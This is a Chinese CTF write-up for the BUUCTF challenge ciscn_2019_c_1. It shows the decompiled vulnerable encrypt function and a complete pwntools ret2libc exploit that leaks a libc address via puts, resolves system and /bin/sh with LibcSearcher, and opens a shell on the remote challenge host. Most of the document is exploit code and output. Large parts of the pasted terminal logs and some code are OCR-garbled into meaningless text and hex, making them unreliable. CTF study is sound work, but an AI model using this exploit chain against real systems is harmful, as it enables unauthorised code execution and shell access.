## ciscn\_2019\_c\_1 buuctf

栈溢出,没有给出system和/bin/sh,通过puts来泄露。另外这道题涉及了栈对齐,这个pwn在ubuntu18上运行,调用system的时候需要加1个ret来去补齐。

```
1 int encrypt()
   2 {
   3
      size_t v0; // rbx
      char s[48]; // [rsp+0h] [rbp-50h] BYREF
   41
   5
      __int16 v3; // [rsp+30h] [rbp-20h]
   6
      memset(s, 0, sizeof(s));
  7
      v3 = 0:
  8
      puts("Input your Plaintext to be encrypted");
9
      gets(s);
10
• 11
      while (1)
  12
13
        v0 = (unsigned int)x;
        if ( v0 \ge strlen(s) )
14
15
          break:
        if (s[x] \le 0x60 | |s[x] > 0x7A)
16
  17
          if (s[x] \le 0x40 || s[x] > 0x5A)
18
  19
          {
            if (s[x] > 0x2F && s[x] \le 0x39)
20
21
              s[x] ~= 0xFu;
          }
  22
          else
  23
  24
  25
            s[x] ~= 0xEu;
          }
  26
  27
        }
        else
  28
  29
        £
          s[x] ~= 0xDu;
30
  31
32
        ++x;
  33
      puts("Ciphertext");
34
      return puts(s);
35
36}
```

## Python

```
1 from pwn import *
   from LibcSearcher import *
 3 context.log_level='debug'
 4 p = remote('node3.buuoj.cn',27219)
 5  #p = process('./pwn')
 6 elf = ELF('./pwn')
 7 puts_plt = elf.plt['puts']
 8 gets_got = elf.got['gets']
9 main_addr = elf.sym['main']
10 pop_rdi_addr =0x0000000000400c83
11 ret_addr = 0x00000000004006b9
12 p.sendlineafter('choice!','1')
13 payload = '\0' + 'A'*0x4F + 'A'*0x08
   +p64(pop_rdi_addr)+p64(gets_got)+p64(puts_plt)+p64(main_addr)
14 p.sendlineafter('encrypted',payload)
15 p.recvuntil('Ciphertext\n')
16 p.recvuntil('\n')
17 gets_addr = u64(p.recvline('\n')[:-1].ljust(8,'\0'))
18 libc = LibcSearcher('gets',gets_addr)
19 libc_base = gets_addr - libc.dump('gets')
20 sys_addr = libc_base + libc.dump('system')
21 binsh_addr = libc_base + libc.dump('str_bin_sh')
22 print hex(gets_addr),hex(sys_addr),hex(binsh_addr)
23 p.sendlineafter('choice!','1')
24 payload = '\0' + 'A'*0x4F + 'A'*0x08
   +p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr)
25 p.sendlineafter('encrypted',payload)
26 p.interactive()
```

```
dBees:/humo/ams/ctfs gythun exc.pc
   ening connection to model bure; on se part 27215 | Dune
   1 PLT Symbolds will
 and Par massesses puts
THE PLT BARBORRS STREET
   TOTAL PRODUCTION AT LANS.
  13 PLT BANGSTID __Tibe_start_main
     PLT HAMBOTTON SPECTAR
     PLT SHORTEN HighAl
     PLT SHIPOTHS GELL
  PLT BANGOTON FYLIAMS
   PLT HERBOTER Estybut
Hon! PLT HANDSTON __ TRACPY_SCANY
 UNI PLY WESSERFER ... SMOK STAFT.
 //owen/and/ctt/pen/
            mad04-49-11111
 APPEN
            PARTIAL BUILD
 MEDICAL PROPERTY.
 11.000
```

```
PIRE
[ Received $4227 hytma:
        -REFERENCE
                                                                                     200
                                                                                                      333.
                                                                                                                                               300
        100
                                                        AN AN THEF MA
                                                                                                                                               Age.
                                                                                                         words who
        CORNEL DE
                                                                                     tanana ili one on ee e
                           CONTRACTOR OF THE REAL PROPERTY.
                                                                                                                                               400
                                                                                              hry $35 mm
        100
                          _
                                    BEE BEE MAN BARNES
                                                                                     100
                                                                                                                        THE RESIDENCE
                                                                                                                                               Mari
        CHIEF THE COLUMN
                                    see an ana an mooce his
                                                                                               Mr. 118 mm.
                                                                                                                         mi comm \m!
        .
         "writing to this Entryption machingin"
        20.00
        (Colingration and Colonia and 
        "1. Encryptio"
       "3 becryptin"
        "Imput your chelcelle"
Cumul Sent out bytes:
     1136
DEBUT Received 0x34 hyten:
        'Input your Plaintest to be encrypted!
Immedia Sent RaTe bytas:
       ARA MARK ARRE ARREST
                                                                                                                                               NAME AND ADDRESS OF
        00000000 41 61 41 41 41 41 41 61
                                                                                                                                              THE RESERVE
                                                                                                ...
                                                                                                                                                                         н
                                                                            the case had talk and then had had been
       secondes be 26 as
                                                                                                                                                                         ٠
                                                                                                                                              10.0
        DECOMPOSITE CONTRACTOR
       BALLASTY.
[BERGS] Received Hal Dytes:
       3300 c
      Bool Received Walle bytes
       00000000 43 85 78 68 65 73 74 85 76 74 ....
                                                                                                                       Section Section
                                                                                                                                               Club sytu at
                                                                                                                                                                                 20
                                         60 MR MR MR MR MR MR MR 20 20 30 30 20 20 20
                                                                                                                                                  the country
       00000028
        36 36 36 36
        00000018 28 28 28 30 30
                                                        28 28 48 48 26 26 28 28
                                                                                                                29 25 65 69
                                                                                                                                                              10.00
                                                                                                                                                                                    ш
                                                                                                                28 29 28 28
        0000094H EP 29 28 38 -28 38 26 28 26 30 28 30
                                                                                                                                               .
                                                                                                                                                 100
                            29 43 43
                                                        28 28 29 28
                                                                                     20 20 64 64
                                                                                                                26 64 64 26
                                                                                                                                                                        *******
                                                        28 29 20 28
                                                                                     61 61 28 65
                            80 40 50 60
                                                                                                                81,28 29 26
                                                                                                                                                                     40.00
        000000TR KS 63 63 63 29 68 68 28
                                                                                     29 20 29 20
                                                                                                                20 20 29 30
                                                                                                                                                          3400
                                                                                                                                                DOCK.
                                                                                                                65 65 20 26
                                                                                                                                                 hat mon
       860000888 25 Ac 6e 28 Ar 6e 6e 38
                                                                                    20 20 20 65
                                                                                                                                                                           40.00
                             the un un en un un 20 20 20 4d 6d 6d
        00000000
                                                                                                                 38 39 60 60
                                                                                                                                                 SECTION.
                                                                                                                                                                      100
        111
        encencia 20 20 20 20 10 60 60 60 60 60 20 20 20 60 60 60 20
                                                                                                                                                          BANKS NO.
                                                                                   40 40 20 20
        enconeca he se se 36
                                                        28 84 64 28
                                                                                                                 28 (35 29)
                                                                                                                                                           100
                                                                                                                                                                    .
                            45 45 20 30
                                                        28 28 29 29
                                                                                     6d 6d 5d 28
                                                                                                                 20 60 60 20
                                                                                                                                               100
                                                                                                                                                                     29, 66, 64, 38
                                                        61 65 30 26
                                                                                     61 81 61 28
                                                                                                                 83 43 28 28
        *******
                                                                                                                                                 -
                                                                                                                                                                     -
                                                                                                                                                                               200
        889809FR 26 29 28 68
                                                        48 29 20 20
                                                                                                                                                                    May 15 Table
                                                                                    88 48 28 65
                                                                                                                20 20 20 Ac.
                                                        6e 4e 30 45 45 45 65 65
                                                                                                                                                         ART OF STREET
        8899910# 4# 38 38 38 39
                                                                                                                20 20 45
        96998118 45 45 45 45 45 45 45 29 60 6d 6d 29 29 6d 6d 20 20
                                                                                                                                               DESCRIPTION OF REAL PROPERTY.
        8000032W 4d 6d 20 20
                                                       61 61 61 28 61 61 28 28 61 61 61 63
                                                                                                                                               ME AND DA
                                                                                                                                                                             COLUM
                           63 26 68 68
                                                         26 28 29 68 68 29 69 69
                                                                                                                89 20 be be-
                                                                                                                                                           N N 41 1 W
        00000118
                                                                                                                                               27 500
                            26 28 28 64
                                                        6e 38 39 45 65 85 65 65
                                                                                                                28 11 34 30
        AMERICAN STREET
                                                                                                                                                  H to a neces
                                                                                                                                               00000150 36 36 36 36 36 38 36 36 36 36 36 36
                                                                                                                30 30 30 30
       descention the life in the sale and all all the life the and
                                                                                                                                               ov window see the to-
        889881AN 89 73 28 45 Se 63 72 79 79 79 69 66
                                                                                                               04 26 66 KL
                                                                                                                                               Is a many pain n me
        000001b8 63 68 69 64 63 dp lid 3d 3d 3d 3d 3d 3d 3d 3d 3d
                                                                                                                                               RIVER B OF SCHOOL SCHOOL
        seemeter to be no be he he he he
                                                                                    hd hd ha ha ha ha ha ha
                                                                                                                                               The same of the same of
        second a se se se se
                                                        34 34 35 36
                                                                                    30 30 31
                                                                                                                 33, 29 MS Re-
                                                                                                                                               erre erre err 1.10
       00000200 83 72 79 70 74 50 32 20 80 65 63 72 79 70 74 80
00000220 83 20 43 70 88 74 65 88 40 70 73 74 20 78 67 75
                                                                                                                                               cryp t 2. Best you
                                                                                                                                               1.45 lt 1 spot year
        00000220 '72 20 62 68 6F 69 62 62 '25
                                                                                                                                              E all blee I I
        电动电极工工业
Mark Street, Square, S
 # http://ffp.esuost.org/pub/uburtu/pool/exit/g/glibc/libcs_2,27-Juburtul_amtex_drb_fif libcs_2,27-Juburtul_sem
       archive-eld-glibc (id libes 7.5-Bubuntulu_smm44)
 7; archive-egilbe (id libes-1596,7.19-Subuntus amobil)
 3/ arctive-eld-plint (is libra 2.7-thaburtus 5 aedta)
 archive-sid-glibe (id libes-andes 2 T-18stantus 2 1984)
 3: section-sid-gline [1d Lines_2.T-tBuburtut_seden]
 6: archive-cla-glife (1d libes-xades, 2.9-iBuluntid, 1)Bil)
 7: archive-eld-glibs (id libse-amdek_7.2-Mubuntul=_i304)

E: archive-eld-glibs (id libse-i366_2.5-Mubuntul4_amse4)

E: archive-eld-glibs (id libse_7.19-10ubuntul4_amse4)
```

```
http://ftp.esussi.org/pub/ubuntu/poel/main/g/glibc/libcs_2_2P-buhuntu1_1386.deb (in libcs_2_2P-bubuntu1_1386.
15; archive-mid-glibc (id tibos_2,3.5-jubumtu12,5.16.1_amd66)
12: archive-mid-eglibc (id libos_2.11.1-Autumtu1_1586)
Please supply more info using
add_co-dition(leaked_food, leaked_address).
You can choose It by hard
Or type feeth to miltie
[+] http://ftp.coussl.org/pub/shuntu/post/esin/g/glibe/libes_2.27-Juhuntu1_amssm.dem (id libes_2.27-Juhuntu1_amssm.
Serfef21:25000 0:7f8f21hfunna Serfef21d58:5a
[indust] Sent Su2 bytes:
[DESCRIPTION | RECEIVED BADE BYSES:
    "Input your Plaintest to be encrypted"
Dittinuit Sent days bytes!
    - H - ZI - - - -
                                                                            4000 10.00
    to to to the the tre to the management
    *****
                     198
                                                                             12.1
    00000079 WE WE 21
[+] Switching to interactive mode
[mmm.] Received Bull Dytes
    2500
[DESCRIPTION OF STREET
    Polician time (April 1995)
    1000
Milesent ext.
1.14
Distance Sent Set Doles:
'tehn'
[htmm] écceives sads bytes:
    -minter
    "Beet'se"
    "device"
    Petrole
    terling ker
    "Britain No."
    "Lighter
    231002300
    *1.55641#
    THREE LANDS
    THE RESERVE
    Spot ball
     'proche!
    part (A)
    Frank Spill
    A Brand Co.
    CHRISTIAN CO.
    CHECK SALE
    Cappa land
    * Louis And
     Supplied.
     September 1
bán.
best
dev
etc.
Name :
1100
15635
1.1564
STATE OF THE OWNER, WHEN
...
ME-C
seet.
train.
Make
BEY.
```